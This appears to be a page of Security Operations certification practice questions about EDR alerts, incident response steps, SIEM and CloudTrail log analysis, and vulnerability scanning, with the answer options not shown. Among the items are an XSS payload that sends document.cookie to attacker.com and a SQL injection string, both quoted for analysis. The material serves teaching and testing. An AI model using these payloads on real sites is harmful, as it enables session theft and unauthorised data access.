Security Operations
627 questions
A security technician is investigating an access issue where a newly transferred employee successfully signs into the corporate network using valid credentials, but is subsequently able to view restricted financial files reserved for executive roles. The technician incorrectly believed that validating the employee's login identity automatically granted permission to access all files on the file server. Which of the following operational concepts did the technician confuse?
An enterprise Security Operations Center (SOC) analyst receives an advanced Endpoint Detection and Response (EDR) behavioral alert indicating process hollowing on a critical database server. Telemetry reveals a legitimate system binary was spawned in a suspended state, injected with code, and resumed to establish an encrypted outbound channel. Which of the following actions should the analyst perform directly through the EDR platform to manage this incident while preserving evidentiary integrity? (Select TWO.)
Select all that apply
A security analyst is examining a real-time alert generated by a Network Intrusion Detection System (NIDS). The alert payload captures an HTTP POST request sent from an internal corporate host to an external web application:
`POST /profile/update HTTP/1.1`
`Host: portal.example.com`
`Content-Type: application/x-www-form-urlencoded`
`Data: username=user1&bio=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>`
Based on the network security monitoring alert, which of the following attack types is occurring?
Match each enterprise security assessment objective on the left with the scanning configuration or methodology best suited to satisfy it on the right.
Click a left item, then click its matching right item
Items
Matches
During security operations monitoring, incident responders confirm an active data exfiltration event where an internal database server is sending bulk sensitive records via covert DNS port 53 queries to an untrusted external domain. According to standard incident response lifecycle frameworks, which of the following actions represents the immediate next step the incident response team should perform?
An Endpoint Detection and Response (EDR) agent on a critical enterprise macOS host generates a high-priority alert indicating that an unprivileged process is attempting direct system calls to read sensitive memory structures, bypassing user-mode security hooks. Which of the following actions performed via the EDR administration console is the most appropriate immediate step to contain the incident while preserving volatile forensic evidence?
A cybersecurity analyst is setting up a scheduled vulnerability assessment for production servers. The main requirement is to identify missing patches and misconfigurations without risking system crashes or service outages. Which scanning method should the analyst use?
A Security Operations Center (SOC) analyst detects an unauthorized third-party integration added to an enterprise cloud tenant, followed by bulk exfiltration of sensitive email records via an exposed OAuth 2.0 token. According to standard incident response frameworks, in what sequence should the IR team execute the following response and recovery steps?
Drag items to arrange them in the correct order
A security analyst confirms that an active remote access Trojan (RAT) is running on an internal finance server and establishing outbound connections to an external command-and-control server. According to standard incident response lifecycle frameworks, which of the following actions should the analyst perform NEXT?
A security analyst is reviewing correlated alerts in a Security Information and Event Management (SIEM) dashboard following an automated high-severity trigger. The SIEM correlated the following two sequential event log entries captured from an internal workstation within a 5-second interval:
text EventID: 4624 Source: Microsoft-Windows-Security-Auditing Time: 2026-07-27T14:22:05Z Logon Type: 3 (Network) Account Name: admin_corp Workstation Name: WS-FINANCE-04 Source Network Address: 10.0.4.112 Elevated Token: Yes EventID: 7045 Source: Service Control Manager Time: 2026-07-27T14:22:10Z User: NT AUTHORITY\SYSTEM Service Name: PSEXESVC Service File Name: %SystemRoot%\PSEXESVC.exe Image Path: C:\Windows\PSEXESVC.exe Start Type: demand start
Which of the following attack vectors is most directly indicated by this log sequence?
A security analyst is investigating a suspected threat actor moving laterally within an enterprise network. The edge firewall recorded no unauthorized inbound traffic, and the legacy signature-based antivirus on host endpoints reported zero malicious file detections. However, the Endpoint Detection and Response (EDR) agent flagged an active alert when a natively trusted system utility, `wmic.exe`, was executed by a parent process to delete volume shadow copies. Which of the following capabilities of EDR enabled the identification of this malicious activity?
A security analyst reviews an alert from a Network Intrusion Detection System (NIDS). The alert log captures an incoming HTTP request containing the payload: `http://example.com/login?user=admin' OR '1'='1'--`. Which of the following statements correctly identify the type of attack detected and an effective mitigation? (Select TWO.)
Select all that apply
A digital forensic examiner receives a powered-off workstation hard drive confiscated during an insider threat investigation. The examiner needs to duplicate the physical drive onto a forensic storage unit for analysis while ensuring evidence admissibility in court. Which of the following actions should the examiner take FIRST?
A network administrator is configuring centralized AAA for enterprise network hardware. During testing, administrative authentication to an edge switch succeeds via TACACS+, but the user is placed into unprivileged user EXEC mode rather than privileged EXEC mode. The TACACS+ server logs confirm that primary user authentication was successful. Which of the following identity and access management operations issues is the MOST likely cause of this behavior?
A security administrator is preparing to perform a credentialed vulnerability scan on internal application servers. Which of the following represent primary advantages of using a credentialed vulnerability scan instead of an unauthenticated scan? (Select TWO.)
Select all that apply
An enterprise security team deployed agent-based vulnerability scanners across a hybrid environment comprising bare-metal host servers, containerized application workloads on managed Kubernetes nodes, and high-transaction database instances. During the initial operational assessment, the security team identifies two critical issues:
1. The installed host agents successfully inventory host OS packages but fail to detect software vulnerabilities existing inside running container filesystem layers.
2. Standard network-based vulnerability scans triggered against the database servers caused severe query latency and session timeouts.
Which of the following architectural modifications or scanning strategies should the security team implement to resolve both operational issues? (Select TWO.)
Select all that apply
A Security Operations Center (SOC) analyst receives a high-severity alert indicating that an industrial control system (ICS) building automation gateway has initiated unauthorized outbound encrypted connections to a known malicious external IP address. The analyst confirms that unauthorized administrative access occurred and malicious code is actively running on the gateway. According to the NIST Incident Response Framework, which action should the responder perform FIRST?
During a threat monitoring shift, a security analyst receives an alert indicating that a built-in operating system binary (`mshta.exe`) executed an unencoded command shell directly in system memory and initiated an encrypted outbound connection to an unknown external IP address. A traditional signature-based antivirus scan on the host reports no infected files on disk. Which capability of an Endpoint Detection and Response (EDR) solution enabled the detection of this activity, and what is the most appropriate initial containment action?
A Security Operations Center (SOC) analyst is reviewing an alert generated by a cloud SIEM correlation rule. The rule flagged sequential API events originating from an external IP address in an enterprise AWS CloudTrail log dump:
[
{
"eventTime": "2026-07-27T10:15:02Z",
"eventName": "ConsoleLogin",
"errorMessage": "Failed authentication",
"userIdentity": {"type": "IAMUser", "userName": "svc_deploy"},
"sourceIPAddress": "198.51.100.77"
},
{
"eventTime": "2026-07-27T10:15:18Z",
"eventName": "ConsoleLogin",
"responseElements": {"ConsoleLogin": "Success"},
"userIdentity": {"type": "IAMUser", "userName": "svc_deploy"},
"sourceIPAddress": "198.51.100.77"
},
{
"eventTime": "2026-07-27T10:16:05Z",
"eventName": "AttachUserPolicy",
"errorCode": "AccessDenied",
"errorMessage": "User is not authorized to perform: iam:AttachUserPolicy",
"userIdentity": {"type": "IAMUser", "userName": "svc_deploy"},
"sourceIPAddress": "198.51.100.77"
}
]
Based on the log snippet above, which of the following statements accurately describe the security findings from this log analysis? (Select TWO.)
Select all that apply
During a security event, an Endpoint Detection and Response (EDR) agent deployed on a critical file server detects suspicious rapid file modification patterns consistent with ransomware activity. Arrange the following EDR incident containment and response steps in the correct sequential order from first to last.
Drag items to arrange them in the correct order